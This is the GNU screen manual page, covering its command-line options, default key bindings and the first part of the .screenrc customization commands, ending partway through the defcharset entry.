
DESCRIPTION

Screen is a full-screen window manager that multiplexes a physical terminal between several processes (typically interactive shells). Each virtual terminal provides the functions of a DEC VT100 terminal and, in addition, several control functions from the ISO 6429 (ECMA 48, ANSI X3.64) and ISO 2022 standards (e. g. insert/delete line and support for multiple character sets). There is a scrollback history buffer for each virtual terminal and a copy-and-paste mechanism that allows moving text regions between windows.

When screen is called, it creates a single window with a shell in it (or the specified command) and then gets out of your way so that you can use the program as you normally would. Then, at any time, you can create new (full-screen) windows with other programs in them (including more shells), kill existing windows, view a list of windows, turn output logging on and off, copy-and-paste text between windows, view the scrollback history, switch between windows in whatever manner you wish, etc. All windows run their programs completely independent of each other. Programs continue to run when their window is currently not visible and even when the whole screen session is detached from the user’s terminal. When a program terminates, screen (per default) kills the window that contained it. If this window was in the foreground, the display switches to the previous window; if none are left, screen exits. Shells usually distinguish between running as login-shell or sub-shell. Screen runs them as sub-shells, unless told otherwise (See shell .screenrc command).

Everything you type is sent to the program running in the current window. The only exception to this is the one keystroke that is used to initiate a command to the window manager. By default, each command begins with a control-a (abbreviated C-a from now on), and is followed by one other keystroke. The command character and all the key bindings can be fully customized to be anything you like, though they are always two characters in length.

Screen does not understand the prefix C- to mean control, although this notation is used in this manual for readability. Please use the caret notation (^A instead of C-a) as arguments to e.g. the escape command or the -e option. Screen will also print out control characters in caret notation.

The standard way to create a new window is to type C-a c. This creates a new window running a shell and switches to that window immediately, regardless of the state of the process running in the current window. Similarly, you can create a new window with a custom command in it by first binding the command to a keystroke (in your .screenrc file or at the C-a : command line) and then using it just like the C-a c command. In addition, new windows can be created by running a command like:

screen emacs prog.c

from a shell prompt within a previously created window. This will not run another copy of screen, but will instead supply the command name and its arguments to the window manager (specified in the $STY environment variable) who will use it to create the new window. The above example would start the emacs editor (editing prog.c) and switch to its window. - Note that you cannot transport environment variables from the invoking shell to the application (emacs in this case), because it is forked from the parent screen process, not from the invoking shell.

If /run/utmp is writable by screen, an appropriate record will be written to this file for each window, and removed when the window is terminated. This is useful for working with talk, script, shutdown, rsend, sccs and other similar programs that use the utmp file to determine who you are. As long as screen is active on your terminal, the terminal’s own record is removed from the utmp file. See also C-a L.

GETTING STARTED

Before you begin to use screen you’ll need to make sure you have correctly selected your terminal type, just as you would for any other termcap/terminfo program. (You can do this by using test for example.)

If you’re impatient and want to get started without doing a lot more reading, you should remember this one command: C-a ?. Typing these two characters will display a list of the available screen commands and their bindings. Each keystroke is discussed in the section DEFAULT KEY BINDINGS. The manual section CUSTOMIZATION deals with the contents of your .screenrc.

If your terminal is a true auto-margin terminal (it doesn’t allow the last position on the screen to be updated without scrolling the screen) consider using a version of your terminal’s termcap that has automatic margins turned off. This will ensure an accurate and optimal update of the screen in all circumstances. Most terminals nowadays have magic margins (automatic margins plus usable last column). This is the VT100 style type and perfectly suited for screen. If all you’ve got is a true auto-margin terminal screen will be content to use it, but updating a character put into the last position on the screen may not be possible until the screen scrolls or the character is moved into a safe position in some other way. This delay can be shortened by using a terminal with insert-character capability.

COMMAND-LINE OPTIONS

Screen has the following command-line options:

-a
include all capabilities (with some minor exceptions) in each window’s termcap, even if screen must redraw parts of the display in order to implement a function.

-A
Adapt the sizes of all windows to the size of the current terminal. By default, screen tries to restore its old window sizes when attaching to resizable terminals (those with WS in its description, e.g. suncmd or some xterm).

**-c **file
override the default configuration file from $HOME/.screenrc to file.

-d|-D [pid.tty.host]
does not start screen, but detaches the elsewhere running screen session. It has the same effect as typing C-a d from screen’s controlling terminal. -D is the equivalent to the power detach key. If no session can be detached, this option is ignored. In combination with the -r/-R option more powerful effects can be achieved:

-d -r
Reattach a session and if necessary detach it first.

-d -R
Reattach a session and if necessary detach or even create it first.

-d -RR
Reattach a session and if necessary detach or create it. Use the first session if more than one session is available.

-D -r
Reattach a session. If necessary detach and logout remotely first.

-D -R
Attach here and now. In detail this means: If a session is running, then reattach. If necessary detach and logout remotely first. If it was not running create it and notify the user. This is the author’s favorite.

-D -RR
Attach here and now. Whatever that means, just do it.

Note: It is always a good idea to check the status of your sessions by means of screen -list.

**-e **xy
specifies the command character to be x and the character generating a literal command character to y (when typed after the command character). The default is C-a and `a’, which can be specified as -e^Aa. When creating a screen session, this option sets the default command character. In a multiuser session all users added will start off with this command character. But when attaching to an already running session, this option changes only the command character of the attaching user. This option is equivalent to either the commands defescape or escape respectively.

-f, -fn, and -fa
turns flow-control on, off, or automatic switching mode. This can also be defined through the defflow .screenrc command.

**-h **num
Specifies the history scrollback buffer to be num lines high.

-i
will cause the interrupt key (usually C-c) to interrupt the display immediately when flow-control is on. See the defflow .screenrc command for details. The use of this option is discouraged.

-l and -ln
turns login mode on or off (for /run/utmp updating). This can also be defined through the deflogin .screenrc command.

-ls [match]

-list [match]

does not start screen, but prints a list of pid.tty.host strings and creation timestamps identifying your screen sessions. Sessions marked `detached’ can be resumed with screen -r. Those marked `attached’ are running and have a controlling terminal. If the session runs in multiuser mode, it is marked `multi’. Sessions marked as `unreachable’ either live on a different host or are `dead’. An unreachable session is considered dead, when its name matches either the name of the local host, or the specified parameter, if any. See the -r flag for a description how to construct matches. Sessions marked as `dead’ should be thoroughly checked and removed. Ask your system administrator if you are not sure. Remove sessions with the -wipe option.

-L
tells screen to turn on automatic output logging for the windows.

**-Logfile **file
By default logfile name is screenlog.0. You can set new logfile name with the -Logfile option.

-m
causes screen to ignore the $STY environment variable. With screen -m creation of a new session is enforced, regardless whether screen is called from within another screen session or not. This flag has a special meaning in connection with the `-d’ option:

-d -m
Start screen in detached mode. This creates a new session but doesn’t attach to it. This is useful for system startup scripts.

-D -m
This also starts screen in detached mode, but doesn’t fork a new process. The command exits if the session terminates.

-O
selects an optimal output mode for your terminal rather than true VT100 emulation (only affects auto-margin terminals without `LP’). This can also be set in your .screenrc by specifying `OP’ in a termcap command.

**-p **number_or_name|-|=|+
Preselect a window. This is useful when you want to reattach to a specific window or you want to send a command via the -X option to a specific window. As with screen’s select command, - selects the blank window. As a special case for reattach, = brings up the windowlist on the blank window, while a + will create a new window. The command will not be executed if the specified window could not be found.

-q
Suppress printing of error messages. In combination with -ls the exit value is as follows: 9 indicates a directory without sessions. 10 indicates a directory with running but not attachable sessions. 11 (or more) indicates 1 (or more) usable sessions. In combination with -r the exit value is as follows: 10 indicates that there is no session to resume. 12 (or more) indicates that there are 2 (or more) sessions to resume and you should specify which one to choose. In all other cases -q has no effect.

-Q
Some commands now can be queried from a remote session using this flag, e.g. screen -Q windows. The commands will send the response to the stdout of the querying process. If there was an error in the command, then the querying process will exit with a non-zero status.

The commands that can be queried now are: echo info lastmsg number select time title windows

-r [pid.tty.host]

-r *sessionowner/[*pid.tty.host]

resumes a detached screen session. No other options (except combinations with -d*/-D) may* be specified, though an optional prefix of [pid.]tty.host may be needed to distinguish between multiple detached screen sessions. The second form is used to connect to another user’s screen session which runs in multiuser mode. This indicates that screen should look for sessions in another user’s directory. This requires setuid-root.

-R
resumes screen only when it’s unambiguous which one to attach, usually when only one screen is detached. Otherwise lists available sessions. -RR attempts to resume the youngest (in terms of creation time) detached screen session it finds. If successful, all other command-line options are ignored. If no detached session exists, starts a new session using the specified options, just as if -R had not been specified. The option is set by default if screen is run as a login-shell (actually screen uses -xRR in that case). For combinations with the -d*/*-D option see there. Note: Time-based session selection is a Debian addition.

**-s **program
sets the default shell to the program specified, instead of the value in the environment variable $SHELL (or /bin/sh if not defined). This can also be defined through the shell .screenrc command. See also there.

**-S **sessionname
When creating a new session, this option can be used to specify a meaningful name for the session. This name identifies the session for screen -list and screen -r actions. It substitutes the default [tty.host] suffix. This name should not be longer then 80 symbols.

**-t **name
sets the title (a. k. a.) for the default shell or specified program. See also the shelltitle .screenrc command.

**-T term
Set the $TERM environment variable using the specified term as opposed to the default setting of screen
.

-U
Run screen in UTF-8 mode. This option tells screen that your terminal sends and understands UTF-8 encoded characters. It also sets the default encoding for new windows to `utf8'.

-v
Print version number.

-wipe [match]
does the same as screen -ls, but removes destroyed sessions instead of marking them as `dead’. An unreachable session is considered dead, when its name matches either the name of the local host, or the explicitly given parameter, if any. See the -r flag for a description how to construct matches.

-x
Attach to a not detached screen session. (Multi display mode). Screen refuses to attach from within itself. But when cascading multiple screens, loops are not detected; take care.

-X
Send the specified command to a running screen session. You may use the -S option to specify the screen session if you have several screen sessions running. You can use the -d or -r option to tell screen to look only for attached or detached screen sessions. Note that this command doesn’t work if the session is password protected.

-4
Resolve hostnames only to IPv4 addresses.

-6
Resolve hostnames only to IPv6 addresses.

DEFAULT KEY BINDINGS

As mentioned, each screen command consists of a C-a followed by one other character. For your convenience, all commands that are bound to lower-case letters are also bound to their control character counterparts (with the exception of C-a a; see below), thus, C-a c as well as C-a C-c can be used to create a window. See section CUSTOMIZATION for a description of the command.

The following table shows the default key bindings. The trailing commas in boxes with multiple keystroke entries are separators, not part of the bindings.

_
C-a '(select)Prompt for a window name or number to switch to.
_
C-a "(windowlist -b)Present a list of all windows for selection.
_
C-a digit(select 0-9)Switch to window number 0 - 9
_
C-a -(select -)Switch to window number 0 - 9, or to the blank window.
_
C-a tab(focus)Switch the input focus to the next region. See also split, remove, only.
_
C-a C-a(other)Toggle to the window displayed previously. Note that this binding defaults to the command character typed twice, unless overridden. For instance, if you use the option -e]x, this command becomes ]].
_
C-a a(meta)Send the command character (C-a) to window. See escape command.
_
C-a A(title)Allow the user to enter a name for the current window.
_
C-a b,
C-a C-b
(break)Send a break to window.
_
C-a B(pow_break)Reopen the terminal line and send a break.
_
C-a c,
C-a C-c
(screen)Create a new window with a shell and switch to that window.
_
C-a C(clear)Clear the screen.
_
C-a d,
C-a C-d
(detach)Detach screen from this terminal.
_
C-a D D(pow_detach)Detach and logout.
_
C-a f,
C-a C-f
(flow)Toggle flow on, off or auto.
_
C-a F(fit)Resize the window to the current region size.
_
C-a C-g(vbell)Toggles screen's visual bell mode.
_
C-a h(hardcopy)Write a hardcopy of the current window to the file hardcopy.n.
_
C-a H(log)Begins/ends logging of the current window to the file screenlog.n.
_
C-a i,
C-a C-i
(info)Show info about this window.
_
C-a k,
C-a C-k
(kill)Destroy current window.
_
C-a l,
C-a C-l
(redisplay)Fully refresh current window.
_
C-a L(login)Toggle this windows login slot. Available only if screen is configured to update the utmp database.
_
C-a m,
C-a C-m
(lastmsg)Repeat the last message displayed in the message line.
_
C-a M(monitor)Toggles monitoring of the current window.
_
C-a space,
C-a n,
C-a C-n
(next)Switch to the next window.
_
C-a N(number)Show the number (and title) of the current window.
_
C-a backspace,
C-a C-h,
C-a p,
C-a C-p
(prev)Switch to the previous window (opposite of C-a n).
_
C-a q,
C-a C-q
(xon)Send a control-q to the current window.
_
C-a Q(only)Delete all regions but the current one. See also split, remove, focus.
_
C-a r,
C-a C-r
(wrap)Toggle the current window's line-wrap setting (turn the current window's automatic margins on and off).
_
C-a s,
C-a C-s;
(xoff)Send a control-s to the current window.
_
C-a S(split)Split the current region horizontally into two new ones. See also only, remove, focus.
_
C-a t,
C-a C-t
(time)Show system information.
_
C-a v(version)Display the version and compilation date.
_
C-a C-v(digraph)Enter digraph.
C-a w,
C-a C-w
(windows)Show a list of window.
_
C-a W(width)Toggle 80/132 columns.
_
C-a x or C-a C-x(lockscreen)Lock this terminal.
_
C-a X(remove)Kill the current region. See also split, only, focus.
_
C-a z,
C-a C-z
(suspend)Suspend screen. Your system must support BSD-style job-control.
_
C-a Z(reset)Reset the virtual terminal to its power-on values.
_
C-a .(dumptermcap)Write out a .termcap file.
_
C-a ?(help)Show key bindings.
_
C-a \(quit)Kill all windows and terminate screen.
_
C-a :(colon)Enter command line mode.
_
C-a [,
C-a C-[,
C-a esc
(copy)Enter copy/scrollback mode.
_
C-a C-],
C-a ]
(paste .)Write the contents of the paste buffer to the stdin queue of the current window.
_
C-a {,
C-a }
(history)Copy and paste a previous (command) line.
_
C-a >(writebuf)Write paste buffer to a file.
_
C-a <(readbuf)Reads the screen-exchange file into the paste buffer.
_
C-a =(removebuf)Removes the file used by C-a < and C-a >.
_
C-a ,(license)Shows where screen comes from, where it went to and why you can use it.
_
C-a _(silence)Start/stop monitoring the current window for inactivity.
_
C-a |(split -v)Split the current region vertically into two new ones.
_
C-a *(displays)Show a listing of all currently attached displays.
_

CUSTOMIZATION

The socket directory defaults either to $HOME/.screen or simply to /tmp/screens or preferably to /run/screen chosen at compile-time. If screen is installed setuid-root, then the administrator should compile screen with an adequate (not NFS mounted) socket directory. If screen is not running setuid-root, the user can specify any mode 700 directory in the environment variable $SCREENDIR.

When screen is invoked, it executes initialization commands from the files /etc/screenrc and .screenrc in the user’s home directory. These are the programmer’s defaults that can be overridden in the following ways: for the global screenrc file screen searches for the environment variable $SYSSCREENRC (this override feature may be disabled at compile-time). The user specific screenrc file is searched in $SCREENRC, then $HOME/.screenrc. The command line option -c takes precedence over the above user screenrc files.

Commands in these files are used to set options, bind functions to keys, and to automatically establish one or more windows at the beginning of your screen session. Commands are listed one per line, with empty lines being ignored. A command’s arguments are separated by tabs or spaces, and may be surrounded by single or double quotes. A `#’ turns the rest of the line into a comment, except in quotes. Unintelligible lines are warned about and ignored. Commands may contain references to environment variables. The syntax is the shell-like “$VAR " or “${VAR}”. Note that this causes incompatibility with previous screen versions, as now the ‘$’-character has to be protected with ‘\ if no variable substitution shall be performed. A string in single-quotes is also protected from variable substitution.

Two configuration files are shipped as examples with your screen distribution: etc/screenrc and etc/etcscreenrc. They contain a number of useful examples for various commands.

Customization can also be done ‘on-line’. To enter the command mode type `C-a :’. Note that commands starting with def change default values, while others change current settings.

The following commands are available:

acladd* usernames [crypted-pw]
addacl
usernames*

Enable users to fully access this screen session. Usernames can be one user or a comma separated list of users. This command enables to attach to the screen session and performs the equivalent of `aclchg usernames +rwx “#?”’. executed. To add a user with restricted access, use the `aclchg’ command below. If an optional second parameter is supplied, it should be a crypted password for the named user(s). `Addacl’ is a synonym to `acladd’. Multi user mode only.

aclchg* usernames permbits list*
chacl* usernames permbits list*

Change permissions for a comma separated list of users. Permission bits are represented as `r’, `w’ and `x’. Prefixing `+’ grants the permission, `-’ removes it. The third parameter is a comma separated list of commands and/or windows (specified either by number or title). The special list `#’ refers to all windows, `?’ to all commands. if usernames consists of a single `*’, all known users are affected.

A command can be executed when the user has the `x’ bit for it. The user can type input to a window when he has its `w’ bit set and no other user obtains a writelock for this window. Other bits are currently ignored. To withdraw the writelock from another user in window 2: `aclchg username -w+w 2’. To allow read-only access to the session: `aclchg username -w “#”’. As soon as a user’s name is known to screen he can attach to the session and (per default) has full permissions for all command and windows. Execution permission for the acl commands, `at’ and others should also be removed or the user may be able to regain write permission. Rights of the special username nobody cannot be changed (see the su command). `Chacl’ is a synonym to `aclchg’. Multi user mode only.

acldel* username*

Remove a user from screen’s access control list. If currently attached, all the user’s displays are detached from the session. He cannot attach again. Multi user mode only.

aclgrp* username *[groupname]

Creates groups of users that share common access rights. The name of the group is the username of the group leader. Each member of the group inherits the permissions that are granted to the group leader. That means, if a user fails an access check, another check is made for the group leader. A user is removed from all groups the special value none is used for groupname. If the second parameter is omitted all groups the user is in are listed.

aclumask [[ users ] +bits | [ users ] -bits… ]
umask [[ users ] +bits | [ users ] -bits… ]

This specifies the access other users have to windows that will be created by the caller of the command. Users may be no, one or a comma separated list of known usernames. If no users are specified, a list of all currently known users is assumed. Bits is any combination of access control bits allowed defined with the aclchg command. The special username ? predefines the access that not yet known users will be granted to any window initially. The special username ?? predefines the access that not yet known users are granted to any command. Rights of the special username nobody cannot be changed (see the su command). `Umask’ is a synonym to `aclumask’.

activity* message*

When any activity occurs in a background window that is being monitored, screen displays a notification in the message line. The notification message can be re-defined by means of the activity command. Each occurrence of `%’ in message is replaced by the number of the window in which activity has occurred, and each occurrence of `^G’ is replaced by the definition for bell in your termcap (usually an audible bell). The default message is

	'Activity in window %n'

Note that monitoring is off for all windows by default, but can be altered by use of the monitor command (C-a M).

allpartial [ on | off ]

If set to on, only the current cursor line is refreshed on window change. This affects all windows and is useful for slow terminal lines. The previous setting of full/partial refresh for each window is restored with allpartial off. This is a global flag that immediately takes effect on all windows overriding the partial settings. It does not change the default redraw behavior of newly created windows.

altscreen [ on | off ]

If set to on, “alternate screen” support is enabled in virtual terminals, just like in xterm. Initial setting is `off’.

**at [identifier][#|*|%] **command [args … ]

Execute a command at other displays or windows as if it had been entered there. At changes the context (the `current window’ or `current display’ setting) of the command. If the first parameter describes a non-unique context, the command will be executed multiple times. If the first parameter is of the form `identifier*’ then identifier is matched against user names. The command is executed once for each display of the selected user(s). If the first parameter is of the form `identifier%’ identifier is matched against displays. Displays are named after the ttys they attach. The prefix `/dev/’ or `/dev/tty’ may be omitted from the identifier. If identifier has a `#’ or nothing appended it is matched against window numbers and titles. Omitting an identifier in front of the `#’, `*’ or `%’-character selects all users, displays or windows because a prefix-match is performed. Note that on the affected display(s) a short message will describe what happened. Permission is checked for initiator of the at command, not for the owners of the affected display(s). Note that the ‘#’ character works as a comment introducer when it is preceded by whitespace. This can be escaped by prefixing a ‘. Permission is checked for the initiator of the at command, not for the owners of the affected display(s).

Caveat: When matching against windows, the command is executed at least once per window. Commands that change the internal arrangement of windows (like other) may be called again. In shared windows the command will be repeated for each attached display. Beware, when issuing toggle commands like login! Some commands (e.g. process) require that a display is associated with the target windows. These commands may not work correctly under at looping over windows.

**attrcolor ***attrib *[attribute/color-modifier]

This command can be used to highlight attributes by changing the color of the text. If the attribute attrib is in use, the specified attribute/color modifier is also applied. If no modifier is given, the current one is deleted. See the STRING ESCAPES chapter for the syntax of the modifier. Screen understands two pseudo-attributes, i stands for high-intensity foreground color and I for high-intensity background color.

Examples:

attrcolor b “R”

Change the color to bright red if bold text is to be printed.

attrcolor u “-u b”

Use blue text instead of underline.

attrcolor b “.I”

Use bright colors for bold text. Most terminal emulators do this already.

attrcolor i “+b”

Make bright colored text also bold.

autodetach [ on | off ]

Sets whether screen will automatically detach upon hangup, which saves all your running programs until they are resumed with a screen -r command. When turned off, a hangup signal will terminate screen and all the processes it contains. Autodetach is on by default.

autonuke [ on | off ]

Sets whether a clear screen sequence should nuke all the output that has not been written to the terminal. See also obuflimit.

**backtick **id lifespan autorefresh cmd args…
**backtick **id

Program the backtick command with the numerical id id. The output of such a command is used for substitution of the %` string escape. The specified lifespan is the number of seconds the output is considered valid. After this time, the command is run again if a corresponding string escape is encountered. The autorefresh parameter triggers an automatic refresh for caption and hardstatus strings after the specified number of seconds. Only the last line of output is used for substitution.

If both the lifespan and the autorefresh parameters are zero, the backtick program is expected to stay in the background and generate output once in a while. In this case, the command is executed right away and screen stores the last line of output. If a new line gets printed screen will automatically refresh the hardstatus or the captions.

The second form of the command deletes the backtick command with the numerical id id.

bce [ on | off ]

Change background-color-erase setting. If bce is set to on, all characters cleared by an erase/insert/scroll/clear operation will be displayed in the current background color. Otherwise the default background color is used.

**bell_msg **[message]

When a bell character is sent to a background window, screen displays a notification in the message line. The notification message can be re-defined by this command. Each occurrence of `%’ in message is replaced by the number of the window to which a bell has been sent, and each occurrence of `^G’ is replaced by the definition for bell in your termcap (usually an audible bell). The default message is

	'Bell in window %n'

An empty message can be supplied to the bell_msg command to suppress output of a message line (bell_msg “”). Without parameter, the current message is shown.

**bind [class] key **[command [args]]

Bind a command to a key. By default, most of the commands provided by screen are bound to one or more keys as indicated in the DEFAULT KEY BINDINGS section, e. g. the command to create a new window is bound to C-c and c. The bind command can be used to redefine the key bindings and to define new bindings. The key argument is either a single character, a two-character sequence of the form ^x (meaning C-x), a backslash followed by an octal number (specifying the ASCII code of the character), or a backslash followed by a second character, such as \ or . The argument can also be quoted, if you like. If no further argument is given, any previously established binding for this key is removed. The command argument can be any command listed in this section.

If a command class is specified via the -c option, the key is bound for the specified class. Use the command command to activate a class. Command classes can be used to create multiple command keys or multi-character bindings.

Some examples:

	bind ' ' windows
	bind ^k
	bind k
	bind K kill
	bind ^f screen telnet foobar
	bind  screen -ln -t root -h 1000 9 su

would bind the space key to the command that displays a list of windows (so that the command usually invoked by C-a C-w would also be available as C-a space). The next three lines remove the default kill binding from C-a C-k and C-a k. C-a K is then bound to the kill command. Then it binds C-f to the command create a window with a TELNET connection to foobar, and bind escape to the command that creates an non-login window with a. k. a. root in slot #9, with a superuser shell and a scrollback buffer of 1000 lines.

	bind -c demo1 0 select 10
	bind -c demo1 1 select 11
	bind -c demo1 2 select 12
	bindkey "^B" command -c demo1

makes C-b 0 select window 10, C-b 1 window 11, etc.

	bind -c demo2 0 select 10
	bind -c demo2 1 select 11
	bind -c demo2 2 select 12
	bind - command -c demo2

makes C-a - 0 select window 10, C-a - 1 window 11, etc.

bindkey [-d] [-m] [-a] [[-k|-t]** string **[cmd-args]]

This command manages screen’s input translation tables. Every entry in one of the tables tells screen how to react if a certain sequence of characters is encountered. There are three tables: one that should contain actions programmed by the user, one for the default actions used for terminal emulation and one for screen’s copy mode to do cursor movement. See section INPUT TRANSLATION for a list of default key bindings.

If the -d option is given, bindkey modifies the default table, -m changes the copy mode table and with neither option the user table is selected. The argument string is the sequence of characters to which an action is bound. This can either be a fixed string or a termcap keyboard capability name (selectable with the -k option).

Some keys on a VT100 terminal can send a different string if application mode is turned on (e.g the cursor keys). Such keys have two entries in the translation table. You can select the application mode entry by specifying the -a option.

The -t option tells screen not to do inter-character timing. One cannot turn off the timing if a termcap capability is used.

Cmd can be any of screen’s commands with an arbitrary number of args. If cmd is omitted the key-binding is removed from the table.

Here are some examples of keyboard bindings:

        bindkey -d

Show all of the default key bindings. The application mode entries are marked with [A].

        bindkey -k k1 select 1

Make the “F1” key switch to window one.

        bindkey -t foo stuff barfoo

Make “foo” an abbreviation of the word “barfoo”. Timeout is disabled so that users can type slowly.

        bindkey "" mapdefault

This key-binding makes ^T an escape character for key-bindings. If you did the above stuff barfoo binding, you can enter the word foo by typing ^Tfoo. If you want to insert a ^T you have to press the key twice (i.e., escape the escape binding).

        bindkey -k F1 command

Make the F11 (not F1!) key an alternative screen escape (besides ^A).

**break **[duration]

Send a break signal for duration*0.25 seconds to this window. For non-Posix systems the time interval may be rounded up to full seconds. Most useful if a character device is attached to the window rather than a shell process (See also chapter WINDOW TYPES). The maximum duration of a break signal is limited to 15 seconds.

blanker

Activate the screen blanker. First the screen is cleared. If no blanker program is defined, the cursor is turned off, otherwise, the program is started and it’s output is written to the screen. The screen blanker is killed with the first keypress, the read key is discarded.

This command is normally used together with the idle command.

*blankerprg *[program-args]

Defines a blanker program. Disables the blanker program if an empty argument is given. Shows the currently set blanker program if no arguments are given.

*breaktype *[tcsendbreak|TIOCSBRK|TCSBRK]

Choose one of the available methods of generating a break signal for terminal devices. This command should affect the current window only. But it still behaves identical to defbreaktype. This will be changed in the future. Calling breaktype with no parameter displays the break method for the current window.

*bufferfile *[exchange-file]

Change the filename used for reading and writing with the paste buffer. If the optional argument to the bufferfile command is omitted, the default setting (/tmp/screen-exchange) is reactivated. The following example will paste the system’s password file into the screen window (using the paste buffer, where a copy remains):

	C-a : bufferfile /etc/passwd
	C-a < C-a ]
	C-a : bufferfile

bumpleft

Swaps window with previous one on window list.

bumpright

Swaps window with next one on window list.

c1 [ on | off ]

Change c1 code processing. C1 on tells screen to treat the input characters between 128 and 159 as control functions. Such an 8-bit code is normally the same as ESC followed by the corresponding 7-bit code. The default setting is to process c1 codes and can be changed with the defc1 command. Users with fonts that have usable characters in the c1 positions may want to turn this off.

caption [ top | bottom ] always|splitonly[string]
*caption string *[string]

This command controls the display of the window captions. Normally a caption is only used if more than one window is shown on the display (split screen mode). But if the type is set to always screen shows a caption even if only one window is displayed. The default is splitonly.

The second form changes the text used for the caption. You can use all escapes from the STRING ESCAPES chapter. Screen uses a default of `%3n %t’.

You can mix both forms by providing a string as an additional argument.

You can have the caption displayed either at the top or bottom of the window. The default is bottom.

**charset **set

Change the current character set slot designation and charset mapping. The first four character of set are treated as charset designators while the fifth and sixth character must be in range ‘0’ to ‘3’ and set the GL/GR charset mapping. On every position a ‘.’ may be used to indicate that the corresponding charset/mapping should not be changed (set is padded to six characters internally by appending ‘.’ chars). New windows have “BBBB02” as default charset, unless a encoding command is active.
The current setting can be viewed with the info command.

*chdir *[directory]

Change the current directory of screen to the specified directory or, if called without an argument, to your home directory (the value of the environment variable $HOME). All windows that are created by means of the screen command from within .screenrc or by means of C-a : screen … or C-a c use this as their default directory. Without a chdir command, this would be the directory from which screen was invoked.

Hardcopy and log files are always written to the window’s default directory, not the current directory of the process running in the window. You can use this command multiple times in your .screenrc to start various windows in different default directories, but the last chdir value will affect all the windows you create interactively.

cjkwidth [ on | off ]

Treat ambiguous width characters as full/half width.

clear

Clears the current window and saves its image to the scrollback buffer.

collapse

Reorders window on window list, removing number gaps between them.

*colon *[prefix]

Allows you to enter .screenrc command lines. Useful for on-the-fly modification of key bindings, specific window creation and changing settings. Note that the set keyword no longer exists! Usually commands affect the current window rather than default settings for future windows. Change defaults with commands starting with ‘def…’.

If you consider this as the `Ex command mode’ of screen, you may regard C-a esc (copy mode) as its `Vi command mode’.

command [ -c class”]"

This command has the same effect as typing the screen escape character (^A). It is probably only useful for key bindings. If the -c option is given, select the specified command class. See also bind and bindkey.

compacthist [ on | off ]

This tells screen whether to suppress trailing blank lines when scrolling up text into the history buffer.

console [ on | off ]

Grabs or un-grabs the machines console output to a window. Note: Only the owner of /dev/console can grab the console output. This command is only available if the machine supports the ioctl TIOCCONS.

copy

Enter copy/scrollback mode. This allows you to copy text from the current window and its history into the paste buffer. In this mode a vi-like `full screen editor’ is active:
The editor’s movement keys are:

_
h, C-h,
left arrow
move the cursor left.
_
j, C-n,
down arrow
move the cursor down.
_
k, C-p,
up arrow
move the cursor up.
_
l ('el'),
right arrow
move the cursor right.
_
0 (zero) C-amove to the leftmost column.
_
+ and -positions one line up and down.
_
H, M and Lmove the cursor to the leftmost column of the top, center or bottom line of the window.
_
|moves to the specified absolute column.
_
g or homemoves to the beginning of the buffer.
_
G or endmoves to the specified absolute line (default: end of buffer).
_
%jumps to the specified percentage of the buffer.
_
^ or $move to the leftmost column, to the first or last non-whitespace character on the line.
_
w, b, and emove the cursor word by word.
_
B, Emove the cursor WORD by WORD (as in vi).
_
f/F, t/Tmove the cursor forward/backward to the next occurrence of the target. (eg, '3fy' will move the cursor to the 3rd 'y' to the right.)
_
; and ,Repeat the last f/F/t/T command in the same/opposite direction.
_
C-e and C-yscroll the display up/down by one line while preserving the cursor position.
_
C-u and C-dscroll the display up/down by the specified amount of lines while preserving the cursor position. (Default: half screen-full).
_
C-b and C-fscroll the display up/down a full screen.
_

Note: Emacs style movement keys can be customized by a .screenrc command. (E. g. markkeys “h=^B:l=^F:$=^E”) There is no simple method for a full emacs-style keymap, as this involves multi-character codes.

Some keys are defined to do mark and replace operations.

The copy range is specified by setting two marks. The text between these marks will be highlighted. Press:

space or enter to set the first or second mark respectively. If mousetrack is set to `on’, marks can also be set using left mouse click.

Y and y used to mark one whole line or to mark from start of line.

W marks exactly one word.

Any of these commands can be prefixed with a repeat count number by pressing digits

0..9 which is taken as a repeat count.

Example: C-a C-[ H 10 j 5 Y will copy lines 11 to 15 into the paste buffer.

The following search keys are defined:

/ Vi**-like search forward.**

? Vi**-like search backward.**

C-a s Emacs style incremental search forward.

C-r Emacs style reverse i-search.

n Find next search pattern.

N Find previous search pattern.

There are however some keys that act differently than in vi. Vi does not allow one to yank rectangular blocks of text, but screen does. Press: c or C to set the left or right margin respectively. If no repeat count is given, both default to the current cursor position.

Example: Try this on a rather full text screen:

C-a [ M 20 l SPACE c 10 l 5 j C SPACE.

This moves one to the middle line of the screen, moves in 20 columns left, marks the beginning of the paste buffer, sets the left column, moves 5 columns down, sets the right column, and then marks the end of the paste buffer. Now try:

C-a [ M 20 l SPACE 10 l 5 j SPACE

and notice the difference in the amount of text copied.

J joins lines. It toggles between 4 modes: lines separated by a newline character (012), lines glued seamless, lines separated by a single whitespace and comma separated lines. Note that you can prepend the newline character with a carriage return character, by issuing a crlf on.

v or V is for all the vi users with :set numbers - it toggles the left margin between column 9 and 1. Press

a before the final space key to toggle in append mode. Thus the contents of the paste buffer will not be overwritten, but is appended to.

A toggles in append mode and sets a (second) mark.

> sets the (second) mark and writes the contents of the paste buffer to the screen-exchange file (/tmp/screen-exchange per default) once copy-mode is finished.

This example demonstrates how to dump the whole scrollback buffer to that file: C-A [ g SPACE G $ >.

C-g gives information about the current line and column.

x or o exchanges the first mark and the current cursor position. You can use this to adjust an already placed mark.

C-l (’el’) will redraw the screen.

@ does nothing. Does not even exit copy mode.

All keys not described here exit copy mode.

*copy_reg *[key]

No longer exists, use readreg instead.

crlf [ on | off ]

This affects the copying of text regions with the `C-a [’ command. If it is set to `on’, lines will be separated by the two character sequence `CR’ - `LF’. Otherwise (default) only `LF’ is used. When no parameter is given, the state is toggled.

debug [ on | off ]

Turns runtime debugging on or off. If screen has been compiled with option -DDEBUG debugging available and is turned on per default. Note that this command only affects debugging output from the main SCREEN process correctly. Debug output from attacher processes can only be turned off once and forever.

defc1 [ on | off ]

Same as the c1 command except that the default setting for new windows is changed. Initial setting is `on’.

defautonuke [ on | off ]

Same as the autonuke command except that the default setting for new displays is changed. Initial setting is `off’. Note that you can use the special `AN’ terminal capability if you want to have a dependency on the terminal type.

defbce [ on | off ]

Same as the bce command except that the default setting for new windows is changed. Initial setting is `off’.

*defbreaktype *[tcsendbreak|TIOCSBRK|TCSBRK]

Choose one of the available methods of generating a break signal for terminal devices. The preferred methods are tcsendbreak and TIOCSBRK. The third, TCSBRK, blocks the complete screen session for the duration of the break, but it may be the only way to generate long breaks. Tcsendbreak and TIOCSBRK may or may not produce long breaks with spikes (e.g. 4 per second). This is not only system-dependent, this also differs between serial board drivers. Calling defbreaktype with no parameter displays the current setting.

**defcharset **[set]

